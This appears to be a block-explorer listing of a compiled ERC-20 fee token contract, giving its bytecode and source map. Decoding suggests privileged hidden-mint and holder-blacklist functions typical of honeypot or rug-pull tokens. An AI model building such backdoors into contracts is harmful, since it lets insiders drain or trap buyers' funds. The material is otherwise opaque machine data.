b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146109415760405162461bcd60e51b815260040161072e906115fe565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109965760405162461bcd60e51b815260040161072e906115fe565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a1a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161072e565b6001600160a01b038216610a7b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161072e565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161072e565b6001600160a01b038316610ba45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161072e565b6001600160a01b03841660009081526009602052604090205460ff1615610bf35760405162461bcd60e51b81526020600482015260036024820152626e6f2160e81b604482015260640161072e565b600e54600160a01b900460ff1615610c1757610c10848484610e83565b905061067d565b30600090815260066020526040902054600e54600160a01b900460ff16158015610c4f5750600e546001600160a01b03868116911614155b8015610c695750600c54610c6690620f4240610fa6565b81115b15610c7757610c7781610fe8565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038816600090815260069091529190912054610cc9918590610da8565b6001600160a01b038616600090815260066020908152604080832093909355600890529081205460ff1680610d1657506001600160a01b03851660009081526008602052604090205460ff165b15610d22575082610d30565b610d2d868686611037565b90505b6001600160a01b038516600090815260066020526040902054610d539082610e24565b6001600160a01b0380871660008181526006602052604090819020939093559151908816906000805160206118c983398151915290610d959085815260200190565b60405180910390a360019250505061067d565b60008184841115610dcc5760405162461bcd60e51b815260040161072e919061139a565b506000610dd98486611780565b95945050505050565b600061067d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610da8565b600080610e318385611649565b90508381101561067d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161072e565b6001600160a01b03831660009081526009602052604081205460ff1615610ed15760405162461bcd60e51b81526020600482015260026024820152616e6f60f01b604482015260640161072e565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260069091529190912054610f23918490610da8565b6001600160a01b038086166000908152600660205260408082209390935590851681522054610f529083610e24565b6001600160a01b0380851660008181526006602052604090819020939093559151908616906000805160206118c983398151915290610f949086815260200190565b60405180910390a35060019392505050565b600061067d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061111c565b600e805460ff60a01b1916600160a01b1790556110048161114a565b478015611026576004546110269061010090046001600160a01b0316826112dd565b5050600e805460ff60a01b19169055565b600e5460009081906001600160a01b0386811691161461107857611071606461106b600a548661131890919063ffffffff16565b90610fa6565b90506110aa565b600e546001600160a01b038581169116146110aa576110a7606461106b600b548661131890919063ffffffff16565b90505b801561111257306000908152600660205260409020546110ca9082610e24565b30600081815260066020526040908190209290925590516001600160a01b038716906000805160206118c9833981519152906111099085815260200190565b60405180910390a35b610dd98382610de2565b6000818361113d5760405162461bcd60e51b815260040161072e919061139a565b506000610dd98486611793565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061117f5761117f6117b5565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111fc91906117cb565b8160018151811061120f5761120f6117b5565b6001600160a01b039283166020918202929092010152600d5461123591309116846109b8565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061126e90859060009086903090429060040161182c565b600060405180830381600087803b15801561128857600080fd5b505af115801561129c573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516112d1929190611868565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611313573d6000803e3d6000fd5b505050565b60008260000361132a57506000610613565b60006113368385611889565b9050826113438583611793565b1461067d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161072e565b600060208083528351808285015260005b818110156113c7578581018301518582016040015282016113ab565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113fd57600080fd5b50565b6000806040838503121561141357600080fd5b823561141e816113e8565b946020939093013593505050565b60008060006060848603121561144157600080fd5b833561144c816113e8565b9250602084013561145c816113e8565b929592945050506040919091013590565b60006020828403121561147f57600080fd5b813561067d816113e8565b60006020828403121561149c57600080fd5b5035919050565b60008083601f8401126114b557600080fd5b50813567ffffffffffffffff8111156114cd57600080fd5b6020830191508360208285010111156114e557600080fd5b9250929050565b6000806000806040858703121561150257600080fd5b843567ffffffffffffffff8082111561151a57600080fd5b611526888389016114a3565b9096509450602087013591508082111561153f57600080fd5b5061154c878288016114a3565b95989497509550505050565b6000806040838503121561156b57600080fd5b8235611576816113e8565b91506020830135611586816113e8565b809150509250929050565b600080604083850312156115a457600080fd5b82356115af816113e8565b91506020830135801515811461158657600080fd5b600181811c908216806115d857607f821691505b6020821081036115f857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561061357610613611633565b634e487b7160e01b600052604160045260246000fd5b601f82111561131357600081815260208120601f850160051c810160208610156116995750805b601f850160051c820191505b818110156116b8578281556001016116a5565b505050505050565b67ffffffffffffffff8311156116d8576116d861165c565b6116ec836116e683546115c4565b83611672565b6000601f84116001811461172057600085156117085750838201355b600019600387901b1c1916600186901b178355610829565b600083815260209020601f19861690835b828110156117515786850135825560209485019460019092019101611731565b508682101561176e5760001960f88860031b161c19848701351681555b505060018560011b0183555050505050565b8181038181111561061357610613611633565b6000826117b057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117dd57600080fd5b815161067d816113e8565b600081518084526020808501945080840160005b838110156118215781516001600160a01b0316875295820195908201906001016117fc565b509495945050505050565b85815284602082015260a06040820152600061184b60a08301866117e8565b6001600160a01b0394909416606083015250608001529392505050565b82815260406020820152600061188160408301846117e8565b949350505050565b80820281158282048414176106135761061361163356fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122041ee32b7b5ba64b8e93c4b5cd8024926a528c010055e29003b143c068dca2b5864736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101a05760003560e01c8063590f897e116100ec578063a9059cbb1161008a578063d158272d11610064578063d158272d146104c5578063dd62ed3e146104ea578063ef422a1814610530578063f2fde38b1461055057600080fd5b8063a9059cbb14610465578063bdff43ee14610485578063c816841b146104a557600080fd5b80638da5cb5b116100c65780638da5cb5b146103fd578063914eb66a1461041b57806395d89b4114610430578063a457c2d71461044557600080fd5b8063590f897e146103915780635c707f07146103a757806370a08231146103c757600080fd5b80632b112e491161015957806340b9a54b1161013357806340b9a54b146103095780634cb80fd51461031f5780635342acb41461034157806357424d591461037157600080fd5b80632b112e49146102b2578063313ce567146102c757806339509351146102e957600080fd5b806306fdde03146101ac578063095ea7b3146101d75780631694505e1461020757806318160ddd1461023f57806323b872dd1461025e57806327c8f8351461027e57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610570565b6040516101ce919061139a565b60405180910390f35b3480156101e357600080fd5b506101f76101f2366004611400565b610602565b60405190151581526020016101ce565b34801561021357600080fd5b50600d54610227906001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b34801561024b57600080fd5b50600c545b6040519081526020016101ce565b34801561026a57600080fd5b506101f761027936600461142c565b610619565b34801561028a57600080fd5b506102277f000000000000000000000000000000000000000000000000000000000000dead81565b3480156102be57600080fd5b50610250610684565b3480156102d357600080fd5b5060045460405160ff90911681526020016101ce565b3480156102f557600080fd5b506101f7610304366004611400565b6106ce565b34801561031557600080fd5b50610250600a5481565b34801561032b57600080fd5b5061033f61033a36600461146d565b610704565b005b34801561034d57600080fd5b506101f761035c36600461146d565b60086020526000908152604090205460ff1681565b34801561037d57600080fd5b5061033f61038c36600461148a565b61075f565b34801561039d57600080fd5b50610250600b5481565b3480156103b357600080fd5b5061033f6103c23660046114ec565b6107e4565b3480156103d357600080fd5b506102506103e236600461146d565b6001600160a01b031660009081526006602052604090205490565b34801561040957600080fd5b506000546001600160a01b0316610227565b34801561042757600080fd5b5061033f610830565b34801561043c57600080fd5b506101c161086c565b34801561045157600080fd5b506101f7610460366004611400565b61087b565b34801561047157600080fd5b506101f7610480366004611400565b6108ca565b34801561049157600080fd5b5061033f6104a036600461146d565b6108d7565b3480156104b157600080fd5b50600e54610227906001600160a01b031681565b3480156104d157600080fd5b506004546102279061010090046001600160a01b031681565b3480156104f657600080fd5b50610250610505366004611558565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561053c57600080fd5b5061033f61054b366004611591565b610917565b34801561055c57600080fd5b5061033f61056b36600461146d565b61096c565b60606002805461057f906115c4565b80601f01602080910402602001604051908101604052809291908181526020018280546105ab906115c4565b80156105f85780601f106105cd576101008083540402835291602001916105f8565b820191906000526020600020905b8154815290600101906020018083116105db57829003601f168201915b5050505050905090565b600061060f3384846109b8565b5060015b92915050565b6000610626848484610adc565b506106798433610674856040518060600160405280602881526020016118a1602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190610da8565b6109b8565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260066020526040812054600c546106c991610de2565b905090565b3360008181526007602090815260408083206001600160a01b0387168452909152812054909161060f9185906106749086610e24565b6000546001600160a01b031633146107375760405162461bcd60e51b815260040161072e906115fe565b60405180910390fd5b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360009081526008602052604090205460ff1661077b57600080fd5b33600090815260066020526040902054610796908290611649565b336000908152600660205260409020556107ad3390565b600e546040518381526001600160a01b0392831692909116906000805160206118c98339815191529060200160405180910390a350565b6000546001600160a01b0316331461080e5760405162461bcd60e51b815260040161072e906115fe565b600261081b8486836116c0565b5060036108298284836116c0565b5050505050565b6000546001600160a01b0316331461085a5760405162461bcd60e51b815260040161072e906115fe565b600080546001600160a01b0319169055565b60606003805461057f906115c4565b600061060f3384610674856040518060600160405280602581526020016118e9602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190610da8565b6000610679338484610adc565b3360009081526008602052604090205460ff166108f357600080fd5b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146109415760405162461bcd60e51b815260040161072e906115fe565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109965760405162461bcd60e51b815260040161072e906115fe565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a1a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161072e565b6001600160a01b038216610a7b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161072e565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161072e565b6001600160a01b038316610ba45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161072e565b6001600160a01b03841660009081526009602052604090205460ff1615610bf35760405162461bcd60e51b81526020600482015260036024820152626e6f2160e81b604482015260640161072e565b600e54600160a01b900460ff1615610c1757610c10848484610e83565b905061067d565b30600090815260066020526040902054600e54600160a01b900460ff16158015610c4f5750600e546001600160a01b03868116911614155b8015610c695750600c54610c6690620f4240610fa6565b81115b15610c7757610c7781610fe8565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038816600090815260069091529190912054610cc9918590610da8565b6001600160a01b038616600090815260066020908152604080832093909355600890529081205460ff1680610d1657506001600160a01b03851660009081526008602052604090205460ff165b15610d22575082610d30565b610d2d868686611037565b90505b6001600160a01b038516600090815260066020526040902054610d539082610e24565b6001600160a01b0380871660008181526006602052604090819020939093559151908816906000805160206118c983398151915290610d959085815260200190565b60405180910390a360019250505061067d565b60008184841115610dcc5760405162461bcd60e51b815260040161072e919061139a565b506000610dd98486611780565b95945050505050565b600061067d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610da8565b600080610e318385611649565b90508381101561067d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161072e565b6001600160a01b03831660009081526009602052604081205460ff1615610ed15760405162461bcd60e51b81526020600482015260026024820152616e6f60f01b604482015260640161072e565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260069091529190912054610f23918490610da8565b6001600160a01b038086166000908152600660205260408082209390935590851681522054610f529083610e24565b6001600160a01b0380851660008181526006602052604090819020939093559151908616906000805160206118c983398151915290610f949086815260200190565b60405180910390a35060019392505050565b600061067d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061111c565b600e805460ff60a01b1916600160a01b1790556110048161114a565b478015611026576004546110269061010090046001600160a01b0316826112dd565b5050600e805460ff60a01b19169055565b600e5460009081906001600160a01b0386811691161461107857611071606461106b600a548661131890919063ffffffff16565b90610fa6565b90506110aa565b600e546001600160a01b038581169116146110aa576110a7606461106b600b548661131890919063ffffffff16565b90505b801561111257306000908152600660205260409020546110ca9082610e24565b30600081815260066020526040908190209290925590516001600160a01b038716906000805160206118c9833981519152906111099085815260200190565b60405180910390a35b610dd98382610de2565b6000818361113d5760405162461bcd60e51b815260040161072e919061139a565b506000610dd98486611793565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061117f5761117f6117b5565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111fc91906117cb565b8160018151811061120f5761120f6117b5565b6001600160a01b039283166020918202929092010152600d5461123591309116846109b8565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061126e90859060009086903090429060040161182c565b600060405180830381600087803b15801561128857600080fd5b505af115801561129c573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516112d1929190611868565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611313573d6000803e3d6000fd5b505050565b60008260000361132a57506000610613565b60006113368385611889565b9050826113438583611793565b1461067d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161072e565b600060208083528351808285015260005b818110156113c7578581018301518582016040015282016113ab565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113fd57600080fd5b50565b6000806040838503121561141357600080fd5b823561141e816113e8565b946020939093013593505050565b60008060006060848603121561144157600080fd5b833561144c816113e8565b9250602084013561145c816113e8565b929592945050506040919091013590565b60006020828403121561147f57600080fd5b813561067d816113e8565b60006020828403121561149c57600080fd5b5035919050565b60008083601f8401126114b557600080fd5b50813567ffffffffffffffff8111156114cd57600080fd5b6020830191508360208285010111156114e557600080fd5b9250929050565b6000806000806040858703121561150257600080fd5b843567ffffffffffffffff8082111561151a57600080fd5b611526888389016114a3565b9096509450602087013591508082111561153f57600080fd5b5061154c878288016114a3565b95989497509550505050565b6000806040838503121561156b57600080fd5b8235611576816113e8565b91506020830135611586816113e8565b809150509250929050565b600080604083850312156115a457600080fd5b82356115af816113e8565b91506020830135801515811461158657600080fd5b600181811c908216806115d857607f821691505b6020821081036115f857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561061357610613611633565b634e487b7160e01b600052604160045260246000fd5b601f82111561131357600081815260208120601f850160051c810160208610156116995750805b601f850160051c820191505b818110156116b8578281556001016116a5565b505050505050565b67ffffffffffffffff8311156116d8576116d861165c565b6116ec836116e683546115c4565b83611672565b6000601f84116001811461172057600085156117085750838201355b600019600387901b1c1916600186901b178355610829565b600083815260209020601f19861690835b828110156117515786850135825560209485019460019092019101611731565b508682101561176e5760001960f88860031b161c19848701351681555b505060018560011b0183555050505050565b8181038181111561061357610613611633565b6000826117b057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117dd57600080fd5b815161067d816113e8565b600081518084526020808501945080840160005b838110156118215781516001600160a01b0316875295820195908201906001016117fc565b509495945050505050565b85815284602082015260a06040820152600061184b60a08301866117e8565b6001600160a01b0394909416606083015250608001529392505050565b82815260406020820152600061188160408301846117e8565b949350505050565b80820281158282048414176106135761061361163356fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122041ee32b7b5ba64b8e93c4b5cd8024926a528c010055e29003b143c068dca2b5864736f6c63430008110033

Deployed Bytecode Sourcemap

14107:9259:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16294:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17589:161;;;;;;;;;;-1:-1:-1;17589:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17589:161:0;1023:187:1;14945:41:0;;;;;;;;;;-1:-1:-1;14945:41:0;;;;-1:-1:-1;;;;;14945:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;14945:41:0;1215:230:1;16565:100:0;;;;;;;;;;-1:-1:-1;16645:12:0;;16565:100;;;1596:25:1;;;1584:2;1569:18;16565:100:0;1450:177:1;19229:313:0;;;;;;;;;;-1:-1:-1;19229:313:0;;;;;:::i;:::-;;:::i;14407:81::-;;;;;;;;;;;;;;;18755:128;;;;;;;;;;;;;:::i;16476:83::-;;;;;;;;;;-1:-1:-1;16542:9:0;;16476:83;;16542:9;;;;2443:36:1;;2431:2;2416:18;16476:83:0;2301:184:1;16945:218:0;;;;;;;;;;-1:-1:-1;16945:218:0;;;;;:::i;:::-;;:::i;14813:26::-;;;;;;;;;;;;;;;;18610:139;;;;;;;;;;-1:-1:-1;18610:139:0;;;;;:::i;:::-;;:::i;:::-;;14713:50;;;;;;;;;;-1:-1:-1;14713:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;21221:262;;;;;;;;;;-1:-1:-1;21221:262:0;;;;;:::i;:::-;;:::i;14846:27::-;;;;;;;;;;;;;;;;18348:143;;;;;;;;;;-1:-1:-1;18348:143:0;;;;;:::i;:::-;;:::i;16671:119::-;;;;;;;;;;-1:-1:-1;16671:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;16764:18:0;16737:7;16764:18;;;:9;:18;;;;;;;16671:119;5841:79;;;;;;;;;;-1:-1:-1;5879:7:0;5906:6;-1:-1:-1;;;;;5906:6:0;5841:79;;6060:89;;;;;;;;;;;;;:::i;16383:87::-;;;;;;;;;;;;;:::i;17314:269::-;;;;;;;;;;-1:-1:-1;17314:269:0;;;;;:::i;:::-;;:::i;19056:167::-;;;;;;;;;;-1:-1:-1;19056:167:0;;;;;:::i;:::-;;:::i;17169:139::-;;;;;;;;;;-1:-1:-1;17169:139:0;;;;;:::i;:::-;;:::i;14993:26::-;;;;;;;;;;-1:-1:-1;14993:26:0;;;;-1:-1:-1;;;;;14993:26:0;;;14354:45;;;;;;;;;;-1:-1:-1;14354:45:0;;;;;;;-1:-1:-1;;;;;14354:45:0;;;16796:143;;;;;;;;;;-1:-1:-1;16796:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16904:18:0;;;16877:7;16904:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16796:143;18099:135;;;;;;;;;;-1:-1:-1;18099:135:0;;;;;:::i;:::-;;:::i;6157:106::-;;;;;;;;;;-1:-1:-1;6157:106:0;;;;;:::i;:::-;;:::i;16294:83::-;16331:13;16364:5;16357:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16294:83;:::o;17589:161::-;17664:4;17681:39;387:10;17704:7;17713:6;17681:8;:39::i;:::-;-1:-1:-1;17738:4:0;17589:161;;;;;:::o;19229:313::-;19327:4;19344:36;19354:6;19362:9;19373:6;19344:9;:36::i;:::-;-1:-1:-1;19391:121:0;19400:6;387:10;19422:89;19460:6;19422:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19422:19:0;;;;;;:11;:19;;;;;;;;387:10;19422:33;;;;;;;;;;:37;:89::i;:::-;19391:8;:121::i;:::-;-1:-1:-1;19530:4:0;19229:313;;;;;;:::o;18755:128::-;18862:11;-1:-1:-1;;;;;16764:18:0;18808:7;16764:18;;;:9;:18;;;;;;18835:12;;:40;;:16;:40::i;:::-;18828:47;;18755:128;:::o;16945:218::-;387:10;17033:4;17082:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17082:34:0;;;;;;;;;;17033:4;;17050:83;;17073:7;;17082:50;;17121:10;17082:38;:50::i;18610:139::-;5975:6;;-1:-1:-1;;;;;5975:6:0;387:10;5975:22;5967:67;;;;-1:-1:-1;;;5967:67:0;;;;;;;:::i;:::-;;;;;;;;;18697:22:::1;:44:::0;;-1:-1:-1;;;;;18697:44:0;;::::1;;;-1:-1:-1::0;;;;;;18697:44:0;;::::1;::::0;;;::::1;::::0;;18610:139::o;21221:262::-;21295:10;21277:29;;;;:17;:29;;;;;;;;21269:38;;;;;;21399:10;21389:21;;;;:9;:21;;;;;;:28;;21411:6;;21389:28;:::i;:::-;21375:10;21365:21;;;;:9;:21;;;;;:52;21455:12;387:10;;291:115;21455:12;21442:11;;21425:50;;1596:25:1;;;-1:-1:-1;;;;;21425:50:0;;;;21442:11;;;;-1:-1:-1;;;;;;;;;;;21425:50:0;1584:2:1;1569:18;21425:50:0;;;;;;;21221:262;:::o;18348:143::-;5975:6;;-1:-1:-1;;;;;5975:6:0;387:10;5975:22;5967:67;;;;-1:-1:-1;;;5967:67:0;;;;;;;:::i;:::-;18442:5:::1;:13;18450:5:::0;;18442;:13:::1;:::i;:::-;-1:-1:-1::0;18466:7:0::1;:17;18476:7:::0;;18466;:17:::1;:::i;:::-;;18348:143:::0;;;;:::o;6060:89::-;5975:6;;-1:-1:-1;;;;;5975:6:0;387:10;5975:22;5967:67;;;;-1:-1:-1;;;5967:67:0;;;;;;;:::i;:::-;6139:1:::1;6122:19:::0;;-1:-1:-1;;;;;;6122:19:0::1;::::0;;6060:89::o;16383:87::-;16422:13;16455:7;16448:14;;;;;:::i;17314:269::-;17407:4;17424:129;387:10;17447:7;17456:96;17495:15;17456:96;;;;;;;;;;;;;;;;;387:10;17456:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17456:34:0;;;;;;;;;;;;:38;:96::i;19056:167::-;19134:4;19151:42;387:10;19175:9;19186:6;19151:9;:42::i;17169:139::-;17251:10;17233:29;;;;:17;:29;;;;;;;;17225:38;;;;;;-1:-1:-1;;;;;17274:19:0;;;;;:9;:19;;;;;:26;;-1:-1:-1;;17274:26:0;17296:4;17274:26;;;17169:139::o;18099:135::-;5975:6;;-1:-1:-1;;;;;5975:6:0;387:10;5975:22;5967:67;;;;-1:-1:-1;;;5967:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18189:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:37;;-1:-1:-1;;18189:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18099:135::o;6157:106::-;5975:6;;-1:-1:-1;;;;;5975:6:0;387:10;5975:22;5967:67;;;;-1:-1:-1;;;5967:67:0;;;;;;;:::i;:::-;6238:6:::1;:17:::0;;-1:-1:-1;;;;;;6238:17:0::1;-1:-1:-1::0;;;;;6238:17:0;;;::::1;::::0;;;::::1;::::0;;6157:106::o;17756:337::-;-1:-1:-1;;;;;17849:19:0;;17841:68;;;;-1:-1:-1;;;17841:68:0;;8444:2:1;17841:68:0;;;8426:21:1;8483:2;8463:18;;;8456:30;8522:34;8502:18;;;8495:62;-1:-1:-1;;;8573:18:1;;;8566:34;8617:19;;17841:68:0;8242:400:1;17841:68:0;-1:-1:-1;;;;;17928:21:0;;17920:68;;;;-1:-1:-1;;;17920:68:0;;8849:2:1;17920:68:0;;;8831:21:1;8888:2;8868:18;;;8861:30;8927:34;8907:18;;;8900:62;-1:-1:-1;;;8978:18:1;;;8971:32;9020:19;;17920:68:0;8647:398:1;17920:68:0;-1:-1:-1;;;;;18001:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18053:32;;1596:25:1;;;18053:32:0;;1569:18:1;18053:32:0;;;;;;;17756:337;;;:::o;19548:1288::-;19635:4;-1:-1:-1;;;;;19660:20:0;;19652:70;;;;-1:-1:-1;;;19652:70:0;;9252:2:1;19652:70:0;;;9234:21:1;9291:2;9271:18;;;9264:30;9330:34;9310:18;;;9303:62;-1:-1:-1;;;9381:18:1;;;9374:35;9426:19;;19652:70:0;9050:401:1;19652:70:0;-1:-1:-1;;;;;19741:23:0;;19733:71;;;;-1:-1:-1;;;19733:71:0;;9658:2:1;19733:71:0;;;9640:21:1;9697:2;9677:18;;;9670:30;9736:34;9716:18;;;9709:62;-1:-1:-1;;;9787:18:1;;;9780:33;9830:19;;19733:71:0;9456:399:1;19733:71:0;-1:-1:-1;;;;;19824:17:0;;;;;;:9;:17;;;;;;;;19823:18;19815:33;;;;-1:-1:-1;;;19815:33:0;;10062:2:1;19815:33:0;;;10044:21:1;10101:1;10081:18;;;10074:29;-1:-1:-1;;;10119:18:1;;;10112:33;10162:18;;19815:33:0;9860:326:1;19815:33:0;19864:16;;-1:-1:-1;;;19864:16:0;;;;19861:968;;;19914:41;19929:6;19937:9;19948:6;19914:14;:41::i;:::-;19907:48;;;;19861:968;20081:4;20032:28;16764:18;;;:9;:18;;;;;;20108:16;;-1:-1:-1;;;20108:16:0;;;;20107:17;:38;;;;-1:-1:-1;20134:11:0;;-1:-1:-1;;;;;20126:19:0;;;20134:11;;20126:19;;20107:38;:86;;;;-1:-1:-1;20168:12:0;;:25;;20185:7;20168:16;:25::i;:::-;20147:20;:46;20107:86;20103:181;;;20228:36;20243:20;20228:14;:36::i;:::-;20320:53;;;;;;;;;;;-1:-1:-1;;;20320:53:0;;;;;;;;-1:-1:-1;;;;;20320:17:0;;-1:-1:-1;20320:17:0;;;:9;:17;;;;;;;;:53;;20342:6;;20320:21;:53::i;:::-;-1:-1:-1;;;;;20300:17:0;;;;;;:9;:17;;;;;;;;:73;;;;20428:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;20457:28:0;;;;;;:17;:28;;;;;;;;20428:57;20424:207;;;-1:-1:-1;20520:6:0;20424:207;;;20581:34;20589:6;20597:9;20608:6;20581:7;:34::i;:::-;20567:48;;20424:207;-1:-1:-1;;;;;20680:20:0;;;;;;:9;:20;;;;;;:37;;20705:11;20680:24;:37::i;:::-;-1:-1:-1;;;;;20657:20:0;;;;;;;:9;:20;;;;;;;:60;;;;20751:40;;;;;;-1:-1:-1;;;;;;;;;;;20751:40:0;;;20779:11;1596:25:1;;1584:2;1569:18;;1450:177;20751:40:0;;;;;;;;20813:4;20806:11;;;;;;1692:192;1778:7;1814:12;1806:6;;;;1798:29;;;;-1:-1:-1;;;1798:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1838:9:0;1850:5;1854:1;1850;:5;:::i;:::-;1838:17;1692:192;-1:-1:-1;;;;;1692:192:0:o;1548:136::-;1606:7;1633:43;1637:1;1640;1633:43;;;;;;;;;;;;;;;;;:3;:43::i;1359:181::-;1417:7;;1449:5;1453:1;1449;:5;:::i;:::-;1437:17;;1478:1;1473;:6;;1465:46;;;;-1:-1:-1;;;1465:46:0;;10526:2:1;1465:46:0;;;10508:21:1;10565:2;10545:18;;;10538:30;10604:29;10584:18;;;10577:57;10651:18;;1465:46:0;10324:351:1;20842:373:0;-1:-1:-1;;;;;20961:17:0;